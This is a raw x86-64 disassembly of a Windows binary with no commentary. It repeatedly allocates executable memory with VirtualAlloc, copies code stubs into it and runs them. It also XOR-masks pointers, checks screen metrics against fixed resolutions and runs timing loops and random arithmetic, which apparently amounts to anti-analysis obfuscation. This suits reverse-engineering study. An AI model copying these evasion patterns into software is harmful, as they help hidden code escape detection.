call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x140019500
divsd xmm1, xmm2
mulsd xmm1, xmm13
addsd xmm1, xmm14
movsd xmm0, qword [rsp + 0x28]
addsd xmm1, xmm12
divsd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
inc r14d
cmp r14d, 5
jl 0x1400193b3
sub r13, 1
jne 0x1400193b0
mov rdi, qword [rsp + 0x38]
mov rcx, qword [rbp + 0x270]
test rcx, rcx
je 0x1400195d0
mov rax, qword [rbp + 0x280]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400195b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc0b
call fcn.14001e6e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x270], xmm0
xor r15d, r15d
mov qword [rbp + 0x280], r15
jmp 0x1400195d3
xor r15d, r15d
mov rdx, qword [rbp + 0x350]
cmp rdx, 0xf
jbe 0x140019614
inc rdx
mov rcx, qword [rbp + 0x338]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001960f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc11
call fcn.14001e6e0
mov eax, dword [rsp + 0x34]
inc eax
mov dword [rsp + 0x34], eax
cmp eax, 0x186a0
jl 0x140018b50
movabs r14, 0xb2f4fc0794908cf3
jmp 0x140018ab0
mov eax, dword [rsp + 0x20]
mov rbx, qword [rbp + 0x220]
test rbx, rbx
je 0x1400196d4
mov rdi, qword [rbp + 0x228]
cmp rbx, rdi
je 0x14001967f
mov esi, 1
nop dword [rax]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001966f
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x140019660
mov rbx, qword [rbp + 0x220]
mov rax, qword [rbp + 0x230]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400196ba
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001bc17
mov rcx, rbx
call fcn.14001e6e0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r15
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x64], r15d
xorps xmm0, xmm0
movups xmmword [rbp + 0x320], xmm0
lea rsi, [rbp + 0x54f8]
movabs rax, 0xff00ff00ff00ff00
mov r14, rax
mov qword [rbp + 0x328], rax
mov qword [rbp + 0x330], rsi
mov rdi, qword [rsi]
xor rdi, rax
mov qword [rbp + 0x320], rdi
mov qword [rsi], r15
mov ecx, r15d
lea r12, [0x14001d170]
mov rax, qword [0x14004a1d0]
lea r13, [0x140000000]
test rax, rax
je 0x140019769
nop dword [rax]
cmp rax, r12
je 0x140019756
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x140019740
jmp 0x140019769
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x140019876
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019798
mov r8, r15
mov r15d, 3
jmp 0x140019853
mov rax, r12
mov rcx, r8
mov r15d, 3
mov edx, r15d
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400197b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rsi, qword [rbp + 0x330]
mov r14, qword [rbp + 0x328]
mov rdi, qword [rbp + 0x320]
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
jmp 0x14001987c
mov r15d, 3
lea rdx, [rsp + 0x64]
mov rcx, rbx
call r8
nop
xor rdi, r14
mov qword [rbp + 0x320], rdi
mov qword [rsi], rdi
mov esi, 1
cmp eax, 0x400
jne 0x140019a27
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x68], esi
lea rcx, [rbp + 0x3e8]
call fcn.140001a30
lea rdx, [rbp + 0x54f8]
lea rcx, [rbp + 0x3e8]
call fcn.140001600
nop
xor r14d, r14d
mov ecx, r14d
mov rax, qword [0x14004a1d0]
test rax, rax
je 0x14001990b
cmp rax, r12
je 0x1400198f8
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x1400198e2
jmp 0x14001990b
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x1400199ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019934
mov r8, r14
jmp 0x1400199ce
mov rax, r12
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
lea rdx, [rsp + 0x68]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x3e8]
xor rdx, qword [rbp + 0x3f0]
mov qword [rbp + 0x3e8], rdx
mov rcx, qword [rbp + 0x3f8]
mov qword [rcx], rdx
cmp eax, 0x300
je 0x14001a045
jmp 0x140019a2a
xor r14d, r14d
cmp dword [rbp + 0x4c4], 6
ja 0x140019a46
jne 0x14001a045
cmp dword [rbp + 0x4c8], 2
jb 0x14001a045
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x6c], r14d
lea rcx, [rbp + 0x400]
call fcn.140001a30
lea rdx, [rbp + 0x54f8]
lea rcx, [rbp + 0x400]
call fcn.140001600
nop
mov ecx, r14d
mov rax, qword [0x14004a1d0]
test rax, rax
je 0x140019aaa
cmp rax, r12
je 0x140019a97
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x140019a81
jmp 0x140019aaa
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x140019b8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019ad3
mov r8, r14
jmp 0x140019b6e
mov rax, r12
mov rcx, r8
mov rdx, r15
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019ae0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
lea rdx, [rsp + 0x6c]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x400]
xor rdx, qword [rbp + 0x408]
mov qword [rbp + 0x400], rdx
mov rcx, qword [rbp + 0x410]
mov qword [rcx], rdx
cmp eax, 0x500
jne 0x140019d45
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x70], esi
lea rcx, [rbp + 0x418]
call fcn.140001a30
lea rdx, [rbp + 0x54f8]
lea rcx, [rbp + 0x418]
call fcn.140001600
nop
mov ecx, r14d
mov rax, qword [0x14004a1d0]
test rax, rax
je 0x140019c29
nop
cmp rax, r12
je 0x140019c16
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x140019c00
jmp 0x140019c29
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x140019d0f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019c52
mov r8, r14
jmp 0x140019cee
mov rax, r12
mov rcx, r8
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019c60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
lea rdx, [rsp + 0x70]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x418]
xor rdx, qword [rbp + 0x420]
mov qword [rbp + 0x418], rdx
mov rcx, qword [rbp + 0x428]
mov qword [rcx], rdx
cmp eax, 0x400
je 0x14001a045
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x74], r14d
lea rcx, [rbp + 0x430]
call fcn.140001a30
lea rdx, [rbp + 0x54f8]
lea rcx, [rbp + 0x430]
call fcn.140001600
nop
mov ecx, r14d
mov rax, qword [0x14004a1d0]
test rax, rax
je 0x140019da9
cmp rax, r12
je 0x140019d96
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x140019d80
jmp 0x140019da9
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x140019e8f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019dd2
mov r8, r14
jmp 0x140019e6e
mov rax, r12
mov rcx, r8
mov rdx, r15
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140019de0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
lea rdx, [rsp + 0x74]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x430]
xor rdx, qword [rbp + 0x438]
mov qword [rbp + 0x430], rdx
mov rcx, qword [rbp + 0x440]
mov qword [rcx], rdx
cmp eax, 0x320
jne 0x14001b5ac
mov rbx, qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x78], esi
lea rcx, [rbp + 0x448]
call fcn.140001a30
lea rdx, [rbp + 0x54f8]
lea rcx, [rbp + 0x448]
call fcn.140001600
nop
mov ecx, r14d
mov rax, qword [0x14004a1d0]
test rax, rax
je 0x140019f29
nop
cmp rax, r12
je 0x140019f16
inc ecx
mov rax, qword [r13 + rcx*8 + 0x4a1d0]
test rax, rax
jne 0x140019f00
jmp 0x140019f29
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x4ae80]
test r8, r8
jne 0x14001a00f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140019f52
mov r8, r14
jmp 0x140019fee
mov rax, r12
mov rcx, r8
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r15, 1
jne 0x140019f60
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14004a820]
mov qword [r13 + rax*8 + 0x4a1d0], r12
mov qword [r13 + rax*8 + 0x4ae80], r8
inc rax
mov qword [0x14004a820], rax
lea rdx, [rsp + 0x78]
mov rcx, rbx
call r8
nop
mov rdx, qword [rbp + 0x448]
xor rdx, qword [rbp + 0x450]
mov qword [rbp + 0x448], rdx
mov rcx, qword [rbp + 0x458]
mov qword [rcx], rdx
cmp eax, 0x258
jne 0x14001b5ac
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
lea rcx, [rbp + 0x54f8]
movabs rdx, 0xff00ff00ff00ff00
mov qword [rbp + 0x390], rdx
mov qword [rbp + 0x398], rcx
mov rax, qword [rcx]
xor rax, rdx
mov qword [rbp + 0x388], rax
mov qword [rcx], r14
call fcn.14001e01c
mov edx, eax
lea rcx, [rbp + 0x1970]
call fcn.14001c9b0
mov dword [rbp + 0x238], 0xffffff9c
mov dword [rbp + 0x23c], 0x64
mov dword [rsp + 0x20], r14d
movsd qword [rsp + 0x28], xmm8
call fcn.14001dff0
mov rbx, rax
call fcn.14001dfd4
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001a0d0
imul rax, rcx, 0x64
jmp 0x14001a149
cmp rbx, 0x16e3600
jne 0x14001a12e
movabs r15, 0xb2f4fc0794908cf3
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001a153
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
movabs r15, 0xb2f4fc0794908cf3
lea rdi, [rax + 0x5f5e100]
mov qword [rsp + 0x50], rdi
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x248], xmm1
mov qword [rbp + 0x258], r14
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0xd8], rbx
mov qword [rbp - 0x30], rax
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x258]
je 0x14001a1bb
mov qword [rbp - 0x30], r14
mov qword [rdx], rax
add qword [rbp + 0x250], 8
mov rbx, qword [rbp + 0xd8]
jmp 0x14001a1cc
lea r8, [rbp - 0x30]
lea rcx, [rbp + 0x248]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x30]
test rcx, rcx
je 0x14001a1dd
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001a1ec
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0xe0], rbx
mov qword [rbp - 0x28], rax
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x258]
je 0x14001a236
mov qword [rbp - 0x28], r14
mov qword [rdx], rax
add qword [rbp + 0x250], 8
mov rbx, qword [rbp + 0xe0]
jmp 0x14001a247
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0x248]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14001a258
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001a267
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0xe8], rbx
mov qword [rbp - 0x20], rax
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x258]
je 0x14001a2b1
mov qword [rbp - 0x20], r14
mov qword [rdx], rax
add qword [rbp + 0x250], 8
mov rbx, qword [rbp + 0xe8]
jmp 0x14001a2c2
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x248]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x14001a2d3
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001a2e2
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov rbx, r14
mov qword [rbp + 0xf0], rbx
mov qword [rbp - 0x18], rax
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x258]
je 0x14001a32c
mov qword [rbp - 0x18], r14
mov qword [rdx], rax
add qword [rbp + 0x250], 8
mov rbx, qword [rbp + 0xf0]
jmp 0x14001a33d
lea r8, [rbp - 0x18]
lea rcx, [rbp + 0x248]
call fcn.14001d5d0
nop
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x14001a34e
mov rax, qword [rcx]
mov edx, esi
call qword [rax]
nop
test rbx, rbx
je 0x14001a35d
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
mov ecx, 8
call fcn.14001e6e8
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rbp + 0xf8], r14
mov qword [rbp - 0x80], rax
mov rdx, qword [rbp + 0x250]
cmp rdx, qword [rbp + 0x258]
je 0x14001a39d
mov qword [rbp - 0x80], r14
mov qword [rdx], rax
add qword [rbp + 0x250], 8
jmp 0x14001a3ae
lea r8, [rbp - 0x80]
lea rcx, [rbp + 0x248]
call fcn.14001d5d0
nop
lea rcx, [rbp - 0x80]
call fcn.14001c860
nop
lea rcx, [rbp + 0xf8]
call fcn.14001c860
lea rcx, [rbp + 0x100]
call fcn.14001ceb0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp], rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x248]
call fcn.14001c8b0
nop
lea rcx, [rbp]
call fcn.14001c860
nop
lea rcx, [rbp + 0x100]
call fcn.14001c860
call fcn.14001dff0
mov rbx, rax
call fcn.14001dfd4
mov rcx, rax
cmp rbx, 0x989680
jne 0x14001a421
imul rax, rcx, 0x64
jmp 0x14001a490
cmp rbx, 0x16e3600
jne 0x14001a475
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r15
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x14001a490
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, rdi
jge 0x14001af88
mov dword [rsp + 0x34], r14d
nop
mov r12d, dword [rbp + 0x238]
btc r12d, 0x1f
mov dword [rsp + 0x48], r12d
mov r13d, dword [rbp + 0x23c]
btc r13d, 0x1f
sub r13d, r12d
lea rcx, [rbp + 0x1970]
cmp r13d, 0xffffffff
jne 0x14001a4ec
call fcn.14001db90
lea esi, [r13 + 1]
mov r15d, r12d
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
jmp 0x14001a588
lea ebx, [r13 + 1]
call fcn.14001db90
mov r14d, ebx
mov ecx, eax
imul rcx, r14
mov eax, ebx
cmp ecx, ebx
jae 0x14001a52a
neg eax
xor edx, edx
div ebx
mov esi, edx
mov eax, ebx
cmp ecx, edx
jae 0x14001a52a
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x14001a512
jmp 0x14001a52c
mov ebx, eax
mov r14d, r12d
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov edx, ebx
mov qword [rsp + 0x38], rdx
mov ecx, eax
imul rcx, rdx
mov esi, ebx
mov r15d, r12d
cmp ecx, ebx
jae 0x14001a584
mov eax, ebx
neg eax
xor edx, edx
div ebx
cmp ecx, edx
jae 0x14001a584
mov edi, edx
mov r12, qword [rsp + 0x38]
mov r15d, r14d
mov esi, ebx
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, r12
cmp ecx, edi
jb 0x14001a564
mov r12d, dword [rsp + 0x48]
shr rcx, 0x20
lea eax, [rcx + r15]
cdqe
xor rax, 0xffffffff80000000
mov rcx, qword [rbp + 0x250]
mov r8, qword [rbp + 0x248]
sub rcx, r8
sar rcx, 3
xor edx, edx
div rcx
movsxd rax, edx
mov r15, qword [r8 + rax*8]
mov rax, qword [r15]
mov rbx, qword [rax + 8]
mov qword [rsp + 0x38], rbx
lea rcx, [rbp + 0x1970]
call fcn.14001db90
cmp r13d, 0xffffffff
jne 0x14001a5d7
mov ecx, eax
jmp 0x14001a611
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x14001a60d
mov eax, esi
neg eax
xor edx, edx
div esi
mov ebx, edx
cmp ecx, edx
jae 0x14001a608
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov ecx, eax
imul rcx, r14
cmp ecx, ebx
jb 0x14001a5f2
mov rbx, qword [rsp + 0x38]
shr rcx, 0x20
lea r8d, [rcx + r12]
btc r8d, 0x1f
mov edx, dword [rsp + 0x20]
mov rcx, r15
call rbx
mov dword [rsp + 0x20], eax
movaps xmm10, xmm8
movaps xmm1, xmm12
mov ebx, 2
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm10, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14001a634
divsd xmm10, xmm1
mulsd xmm10, xmm13
addsd xmm10, xmm14
movaps xmm11, xmm8
movaps xmm1, xmm12
mov ebx, 2
nop
lea rcx, [rbp + 0x1970]
call fcn.14001db90
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14001a680
divsd xmm11, xmm1
mulsd xmm11, xmm13
addsd xmm11, xmm14
movaps xmm0, xmm11
andps xmm0, xmm15
